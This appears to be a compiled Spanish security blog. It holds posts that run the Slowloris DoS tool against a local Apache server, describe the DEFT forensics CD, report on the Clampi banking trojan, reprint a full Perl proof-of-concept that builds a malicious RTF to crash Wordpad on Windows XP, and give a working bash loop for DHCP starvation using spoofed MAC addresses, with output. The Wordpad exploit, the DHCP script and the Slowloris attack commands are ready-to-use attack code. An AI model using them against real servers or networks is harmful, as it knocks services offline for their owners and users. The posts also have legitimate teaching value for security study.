Probando DoS con Slowloris

Slowloris, traducido al castellano como ‘loris perezoso’, ya no es sólo ese animalito que parece un oso de peluche y que da ganas de abrazarlo, también es un script en Perl que causa DoS en algunos tipos de servidores web.

Podéis encontrarlo en http://ha.ckers.org/slowloris/ e incluso en la Wikipedia :-):

Slow loris

From Wikipedia, the free encyclopedia

For the denial of service attack, see Slowloris.

The slow loris is any one of three species of loris classified in the genus Nycticebus. These slow moving….

El script se basa en la cantidad de peticiones que es capaz de mantener un servidor web de forma concurrente.

Lo que hace es saturar el pool de servicios mediante la creación de peticiones HTTP (incluido HTTPS) de manera que empieza a enviar cabeceras y más cabeceras al servidor forzándole a mantener abiertas las conexiones. Los servidores web tienen determinado un número máximo global de sockets permitidos (configurados en los ficheros correspondientes), si este número se sobrepasa el servicio web deja de responder.

Para comprobarlo, ejecutamos el script contra un servidor Apache 2.x de forma local.

Primero descargamos el susodicho script y echamos un vistazo al perldoc. En él nos indican que podemos empezar probando cual sería el mejor timeout para servidor:

# perl slowloris.pl -dns localhost -test -port 80


Defaulting to a 5 second tcp connection timeout.

Multithreading enabled.

This test could take up to 14.3666666666667 minutes.

Connection successful, now comes the waiting game...

Trying a 2 second delay:

Worked.

Trying a 30 second delay:

Worked.

Trying a 90 second delay:

Worked.

Trying a 240 second delay:

Worked.

Trying a 500 second delay:

Worked.

Remote server closed socket.

Use 500 seconds for -timeout.

Bien, ya tenemos el timeout. Ahora sólo queda lanzar el ataque :

# perl slowloris.pl -dns localhost -port 80 -timeout 500 -num 5000 -tcpto 5

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client

Multithreading enabled.
Connecting to localhost:80 every 500 seconds with 5000 sockets:
Building sockets.
Sending data.
Current stats: Slowloris has now sent 250 packets successfully.
This thread now sleeping for 500 seconds...

Building sockets.
Building sockets.
Sending data.
Current stats: Slowloris has now sent 635 packets successfully.
This thread now sleeping for 500 seconds...

Building sockets.
Sending data.
Current stats: Slowloris has now sent 776 packets successfully.
This thread now sleeping for 500 seconds...

Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
….
Building sockets.

Sending data.
Current stats: Slowloris has now sent 1098 packets successfully.
This thread now sleeping for 500 seconds...

Sending data.
Current stats: Slowloris has now sent 1348 packets successfully.
This thread now sleeping for 500 seconds...

Sending data.
Current stats: Slowloris has now sent 1645 packets successfully.
This thread now sleeping for 500 seconds...

Sending data.
Current stats: Slowloris has now sent 1831 packets successfully.
This thread now sleeping for 500 seconds...

Sending data.
Current stats: Slowloris has now sent 1842 packets successfully.
This thread now sleeping for 500 seconds...

Y comprobar que nuestro servidor web efectivamente ha caído:

Y por último, echamos un vistazo al error.log del servidor web Apache:

[Fri Aug 28 13:33:43 2009] [error] [client 127.0.0.1] request failed: error reading the headers
[Fri Aug 28 13:43:51 2009] [error] server reached MaxClients setting, consider raising the MaxClients setting
[Fri Aug 28 13:48:47 2009] [error] [client 127.0.0.1] request failed: error reading the headers
[Fri Aug 28 13:48:47 2009] [error] [client 127.0.0.1] request failed: error reading the headers



Extraído de http://unlugarsinfin.blogspot.es

Forenses con DEFT

DEFT (acrónimo de Digital Evidence & Forensic Toolkit) es un liveCD para análisis forenses basado en la distribución Linux Xubuntu. Está diseñada para cubrir las necesidades de los administradores de sistemas, la policía, los investigadores y los especialistas en informática forense.

La versión 4.2 fue publicada en abril de 2009 e incluía como extra un GUI para Windows con las mejores herramientas libres para este sistema operativo.





Y lo mejor está por venir: próximamente se publicará la versión 5 de DEFT con las siguientes características:

- Based on Xubuntu 9.10 with DEFT Extra 2.0
- Kernel 2.6.31
- Dhash 2.0 (now with imaging tool)
- Xplico DEFT edition
- DW, DEFT Wizard script
- Mobile forensic toolkit
- TSK 3.0.1
- Autopsy 2.21
- Afflib 3.3.7
- Guymager 0.4.1-1
- Dcfldd 1.3.4-1
- Dc3dd 6.12.3
- Ddrescue 1.11
- Foremost 1.5.6
- Testdisk 6.11
- Other tipical computer forensic utilities

Road map:

- Feature freeze – september 2009
- Dhash 2.0 testing – end of september 2009
- Xplico DEFT edition testing – end of september 2009
- DEFT Extra 2.0 testing – end of september 2009
- Test tools – october 2009
- Beta release – 9 october 2009
- Final stable release – 9 november 2009



Clampi, diseñado para robar

Se trata de Clampi, también llamado Ligats, Rscan o Ilomo, “el más profesional malware ladrón de datos que jamás haya visto”, declara Joe Stewart, director de investigación de malware en SecureWorks. “Sabemos de otros malwares muy sofisticados y que tienen un amplio margen de acción. Pero éste está teniendo un gran impacto en los usuarios”.

Clampi es un troyano que ha infectado en todo el mundo entre 100.000 y un millón de PC con Windows, “no tenemos un modo exacto de contabilizar los equipos afectados”, ha confesado, declarando que afecta a los nombres y contraseñas de usuarios de 4.500 páginas Web. Es un número asombroso, tal y como explica Stewart, quien confiesa haber identificado 1.400 de estas 4.500 páginas. “Es cierto que hay otros muchos troyanos bancarios, pero suelen tener como objetivo unas 20 o 30 webs”.

Los hackers introducen Clampi en los PC engañando a los usuarios para que abran un archivo que aparece adjunto en un mensaje de correo electrónico o bien utilizando un conjunto de herramientas de multiexplotación que intenta introducir código de ataque en diferentes vulnerabilidades de Windows (sysinternals psexec). Una vez introducidos en una máquina, el troyano monitoriza las sesiones Web del equipo y si el propietario del PC entra en una de estas 4.500 páginas, captura los nombres de usuarios, las contraseñas, los PIN o cualquier otra información personal utilizada para entrar en estas webs o para rellenar formularios.

Periódicamente, Clampi “llama a casa” para mandar la información obtenida a un servidor controlado por los hackers que entonces pasan a la acción y vacían las cuentas de los usuarios o compran bienes utilizando información robada de las tarjetas de crédito.

Clampi, además también puede ser utilizado por los atacantes como servidor Proxy para ‘anonimizar’ su
s actividades cuando acceden a los sistemas con credenciales robadas.

Aunque éste es el modo en que suelen actuar la mayor parte de los malwares, Stewart ha declarado que Clampi es diferente, tanto por la evidente escala de sus operaciones, como también por las múltiples capas de encriptación y engaño que utilizan sus creadores para ocultar el código de ataque y hacerlo prácticamente imposible para que sea investigado o descubrir cómo funciona realmente.

Stewart comenzó a seguirle los pasos a Clampi en 2007, pero realmente ha llevado a cabo un análisis más exhaustivo a principios de este año. “El embalaje que utiliza Clampi es muy sofisticado y hace realmente muy difícil invertir la ingeniería. Es la pieza de malware más difícil que he visto jamás”. Los investigadores de seguridad suelen invertir el malware, separándolo e intentando descifrar cómo funciona, durante sus investigaciones.

“Están usando paquetes basados en máquinas virtuales, lo que les permite tomar código desde un conjunto de instrucciones de CPU virtuales, de ese modo, la siguiente vez que se empaqueta, es totalmente diferente. Por eso, no se puede analizar con herramientas convencionales, como un depurador. Es realmente difícil seguirle los pasos”.

Este troyano también encripta el tráfico entre los sistemas pirateados y el servidor de la red, y lo hace utilizando múltiples métodos: el tráfico enviado por Campli al servidor de control es encriptado con blowfish (448-bit), utilizando una clave de sesión aleatoria que es enviada también al servidor utilizando encriptación RSA de 2048 bits. Pero no solo encripta el tráfico de comunicaciones de la red, sino también las líneas dentro del código de ataque. Clampi también utiliza otra táctica inusual para esconderse de los escáneres antivirus, sus módulos son almacenados encriptados en el registro de Windows.

Su depurada manera de operar también le separa de otros malware financieros. “No se dirige sólo a páginas de banca, sino a toda una variedad de páginas donde la gente introduce sus datos y que a ellos les sirve para robar dinero de algún modo”, explica Stewart. Entre las 1.400 páginas Web que él ha identificado, se encuentran desde portales de información militar a páginas de aseguradoras, funerarias, casinos on-line, redes de publicidad o de noticias. Los sitios están hospedados en 70 países diferentes. “Eso nos da a entender que se trata de una gran operación en el back end”.

Por eso, es imposible asegurar, aunque todas las pistas conducen hasta Rusia o algún país del Este, cuáles son las bases de la banda criminal que está desarrollando esta red. “Parece que hubiera un único grupo detrás de todo esto. No hemos visto los típicos foros encubiertos que tratan sobre ello, lo que también es una razón por la que hay tan poca cobertura sobre Clampi hasta ahora. El grupo es muy secreto”.

De hecho, Stewart tiene pocas esperanzas de llegar a atrapar a los criminales que están detrás de Clampi. Los servidores que utilizan para dirigir la red de PC robot no están hospedados por un servicio habitual, sino que están escondidos en PC de la red. “No creo que lleguemos a descubrir los servidores”, ha admitido Stewart.

A una víctima de este ataque le robaron cerca de 75.000 dólares, tal y como ha publicado el Washington Post. El cofundador de la compañía defraudada, Auto Parts, de Gainesville, Henry Slack, declaró al periódico que el malware le robó información de sus cuentas bancarias y luego movió el dinero a diferentes cuentas de todo Estados Unidos.

Lo cierto es que Clampi ha estado dentro del PC de Slack durante más de un año, hasta que los controladores de la red utilizaron la información robada para entrar en la cuenta bancaria de la compañía.

Un modo que tenemos los usuarios para bloquear a este troyano es realizar cualquier actividad financiera en PC aislados, que únicamente se utilicen para conectarse a páginas de bancos, aseguradoras y demás. Este consejo funciona, porque Clampi se extiende mejor en redes empresariales. Si consigue infectar a un PC dentro de una organización, utiliza una herramienta Windows realizada por Microsoft para copiar el troyano en todas las máquinas del dominio. “Clampi puede extenderse en las redes de Microsoft como si fuera un gusano”, concluye Stewart.

Fuentes:

http://www.secureworks.com/research/threats/clampi-trojan/

http://www.idg.es/pcworldtech/mostrarNoticia.asp?id=83768&seccion=actualidad

http://blog.trendmicro.com/all-your-info-are-belong-to-us/


Extraído de http://unlugarsinfin.blogspot.es

DoS en Wordpad

Recientemente se ha descubierto una vulnerabilidad en Microsoft Wordpad (sobre Windows XP SP3) que podría permitir a un atacante causar una denegación de servicio.

La vulnerabilidad es debida a un error de agotamiento de memoria cuando un usuario intenta ver un fichero RTF malicioso.

Un atacante puede explotar esta vulnerabilidad mediante la creación de un archivo RTF que asigne grandes cantidades de memoria y provocar la condición de denegación de servicio.

El descubridor, murderkey de Hellcode Research, ha hecho público el exploit (http://www.hellcode.net/wordpad.txt ) para el que, de momento, no se ha publicado un parche:

#!/usr/bin/perl
#Microsoft Wordpad on WinXP SP3 Memory Exhaustion Vulnerability - 0day
#Works on WinXP SP3!
#bug found by murderkey in Hellcode Labs.
#exploit coded by karak0rsan aka musashi from Hellcode Labs

#Hellcode Research | TCC
#http://tcc.hellcode.net
#just a fuckin' lame 0day bug for fun!

$file = "hellcoded.rtf";

$header =

"\x7b\x5c\x72\x74\x66\x31\x5c\x61\x6e\x73\x69\x5c\x61\x6e\x73\x69\x63\x70\x67\x31\x32".
"\x35\x34\x5c\x64\x65\x66\x66\x30\x5c\x64\x65\x66\x6c\x61\x6e\x67\x31\x30\x35\x35\x7b".
"\x5c\x66\x6f\x6e\x74\x74\x62\x6c\x7b\x5c\x66\x30\x5c\x66\x73\x77\x69\x73\x73\x5c\x66".
"\x63\x68\x61\x72\x73\x65\x74\x31\x36\x32\x7b\x5c\x2a\x5c\x66\x6e\x61\x6d\x65\x20\x41".
"\x72\x69\x61\x6c\x3b\x7d\x41\x72\x69\x61\x6c\x20\x54\x55\x52\x3b\x7d\x7d\x0a\x7b\x5c".
"\x2a\x5c\x67\x65\x6e\x65\x72\x61\x74\x6f\x72\x20\x4d\x73\x66\x74\x65\x64\x69\x74\x20".
"\x35\x2e\x34\x31\x2e\x31\x35\x2e\x31\x35\x31\x35\x3b\x7d\x5c\x76\x69\x65\x77\x6b\x69".
"\x6e\x64\x34\x5c\x75\x63\x31\x5c\x70\x61\x72\x64\x5c\x66\x30\x5c\x66\x73\x32\x30";

$subheader = "\x5c\x41\x41\x41\x41\x41\x5c\x41\x41\x41\x41\x5c\x70\x61\x72\x0a\x7d\x0a\x00";
$ekheader = "\x5c\x70\x61\x72\x0a";
$buffer = "A" x 578001;
$buffer2 = "A" x 289000;
$buffer3 = "A" x 18186;
$buffer4 = "A" x 863973;
$buffer5= "A" x 578000;

$memory = $header.$buffer.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.

$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer4.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.
$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$ekheader.
$buffer5.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.
$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.
$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.
$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer3.$subheader;

open(file, '>' . $file);


print file $memory;
close(file);
print "File PoC exploit has created!\n";
exit();


Extraído de http://unlugarsinfin.blogspot.es

DHCP starvation

DHCP starvation es un ataque que consiste en inundar con peticiones DHCP_REQUEST al servidor DHCP, con direcciones MAC falseadas y con el objetivo de agotar su espacio de direcciones asignables. El objetivo es que el servidor DHCP no sea capaz de responder a otros clientes y realizar otro tipo de ataques (DHCP rogue).

Es un ataque que puede causar mucho daño y muy fácil de implementar.

Simplemente con dhclient y macchanger instalados en tu máquina y el siguiente script, podemos reproducirlo:

sh -v starve.sh

#!/bin/bash



while true; do

# kill all running dhcp clients - just in case

killall dhclient

rm -f /var/run/dhclient.pid



# bring down the interface

ifconfig eth0 down



# change the MAC address of the interface and print the new MAC address

macchanger -a eth0 2>&1 | grep Faked



# bring the interface up

ifconfig eth0 up



# make a new DHCP lease

dhclient eth0 2>&1 | grep DHCPACK

done

Faked MAC: 00:10:a8:19:ef:88 (Reliance Computer Corp.)

DHCPACK of 192.168.0.101 from 192.168.0.1

Faked MAC: 00:0c:5c:cd:fa:df (Gtn Systems B.v.)

DHCPACK of 192.168.0.102 from 192.168.0.1

Faked MAC: 00:09:e6:46:45:f3 (Cyber Switching Inc.)

DHCPACK of 192.168.0.103 from 192.168.0.1

Faked MAC: 00:0d:f1:7b:03:1c (Ionix Inc.)

DHCPACK of 192.168.0.104 from 192.168.0.1

Faked MAC: 00:09:63:e4:c5:14 (Dominion Lasercom Inc.)

DHCPACK of 192.168.0.105 from 192.168.0.1

Faked MAC: 00:10:d6:45:8b:59 (Itt - A/cd)

DHCPACK of 192.168.0.106 from 192.168.0.1

Faked MAC: 00:a0:8b:4b:90:ae (Aston Electronic Designs Ltd.)

DHCPACK of 192.168.0.107 from 192.168.0.1

Faked MAC: 00:50:b6:9c:26:79 (Good Way Ind. Co., Ltd.)

DHCPACK of 192.168.0.108 from 192.168.0.1

Faked MAC: 00:30:44:59:60:85 (Portsmith Llc)

DHCPACK of 192.168.0.109 from 192.168.0.1

Faked MAC: 00:10:6e:2d:70:7a (Tadiran Com. Ltd.)

DHCPACK of 192.168.0.110 from 192.168.0.1

Faked MAC: 00:90:2c:96:f1:77 (Data & Control Equipment Ltd.)

DHCPACK of 192.168.0.111 from 192.168.0.1

Faked MAC: 00:20:cc:dd:04:91 (Digital Services, Ltd.)

DHCPACK of 192.168.0.112 from 192.168.0.1

Faked MAC: 00:0f:0d:e0:60:ae (Hunt Electronic Co., Ltd.)

DHCPACK of 192.168.0.113 from 192.168.0.1

Faked MAC: 00:80:39:ba:9d:42 (Alcatel Stc Australia)

DHCPACK of 192.168.0.114 from 192.168.0.1

Faked MAC: 00:30:d8:1e:d4:aa (Sitek)

DHCPACK of 192.168.0.115 from 192.168.0.1

Faked MAC: 00:01:be:3e:ac:c1 (Gigalink Co., Ltd.)

DHCPACK of 192.168.0.116 from 192.168.0.1

Faked MAC: 00:80:9e:81:c9:cf (Datus Gmbh)

DHCPACK of 192.168.0.117 from 192.168.0.1

Faked MAC: 00:80:f2:f4:3e:39 (Raycom Systems Inc)

DHCPACK of 192.168.0.118 from 192.168.0.1

Faked MAC: 00:0e:1e:c3:c8:19 (Private)

DHCPACK of 192.168.0.119 from 192.168.0.1

Faked MAC: 00:40:35:90:91:9e (Opcom)

DHCPACK of 192.168.0.120 from 192.168.0.1

Faked MAC: 00:80:24:ad:fb:d9 (Kalpana, Inc.)

DHCPACK of 192.168.0.121 from 192.168.0.1

Faked MAC: 00:e0:ee:b5:4f:15 (Marel Hf)

DHCPACK of 192.168.0.122 from 192.168.0.1

Faked MAC: 00:50:03:17:23:47 (Gretag Macbeth Ag)

DHCPACK of 192.168.0.123 from 192.168.0.1

Faked MAC: 00:e0:ef:28:db:37 (Dionex)

DHCPACK of 192.168.0.124 from 192.168.0.1

Faked MAC: 00:0f:a5:ba:1f:1d (Smp / Bwa Technology Gmbh)

DHCPACK of 192.168.0.125 from 192.168.0.1

Faked MAC: 00:08:1e:5a:e3:d9 (Repeatit Ab)

DHCPACK of 192.168.0.126 from 192.168.0.1

Faked MAC: 00:0e:52:7f:eb:c5 (Optium Corporation)

DHCPACK of 192.168.0.127 from 192.168.0.1

Faked MAC: 00:50:10:b6:f1:f0 (Novanet Learning, Inc.)

DHCPACK of 192.168.0.128 from 192.168.0.1

Faked MAC: 00:04:2a:14:14:11 (Wireless Networks, Inc.)

DHCPACK of 192.168.0.129 from 192.168.0.1

Faked MAC: 00:60:b2:49:66:ac (Process Control Corp.)

DHCPACK of 192.168.0.130 from 192.168.0.1

Faked MAC: 00:a0:44:14:5e:8a (Ntt It Co., Ltd.)

DHCPACK of 192.168.0.131 from 192.168.0.1

Faked MAC: 00:90:f5:06:6d:f3 (Clevo Co.)

.

.

.

.

DHCPACK of 192.168.0.196 from 192.168.0.1

Faked MAC: 00:30:40:a3:d0:37 (Cisco Systems, Inc.)

DHCPACK of 192.168.0.197 from 192.168.0.1

Faked MAC: 00:20:94:9e:c7:32 (Cubix Corporation)

DHCPACK of 192.168.0.198 from 192.168.0.1

Faked MAC: 00:40:9d:f9:15:13 (Digiboard, Inc.)

Faked MAC: 00:05:0d:10:15:2f (Midstream Technologies, Inc.)

Faked MAC: 00:0d:3c:7e:ea:92 (I.tech Dynamic Ltd)

Faked MAC: 00:07:dc:51:c3:e9 (Atek Co, Ltd.)

Faked MAC: 00:02:18:3c:73:cb (Advanced Scientific Corp)


Extraído de http://unlugarsinfin.blogspot.es